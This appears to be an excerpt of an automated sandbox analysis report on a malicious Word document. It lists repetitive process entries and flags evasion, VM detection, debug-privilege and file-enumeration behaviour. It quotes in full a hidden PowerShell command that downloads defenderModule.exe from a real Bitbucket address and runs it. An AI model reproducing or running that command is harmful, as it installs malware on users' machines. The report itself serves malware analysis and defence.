Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Contains long sleeps (>= 3 min)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2520

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Enumerates the file system

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini			Jump to behavior

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: powershell.exe, 00000002.00000002.2082404358.000000000033E000.00000004.00000020.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Queries a list of all running processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Enables debug privileges

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe /W hidden /C $TempDir = [System.IO.Path]::GetTempPath();cd $TempDir;(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/seveca-emilia/onemoreslave/downloads/defenderModule.exe',$TempDir+'defenderModule.exe');Start-Process 'defenderModule.exe'
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe /W hidden /C $TempDir = [System.IO.Path]::GetTempPath();cd $TempDir;(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/seveca-emilia/onemoreslave/downloads/defenderModule.exe',$TempDir+'defenderModule.exe');Start-Process 'defenderModule.exe'			Jump to behavior

Language, Device and Operating System Detection:

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior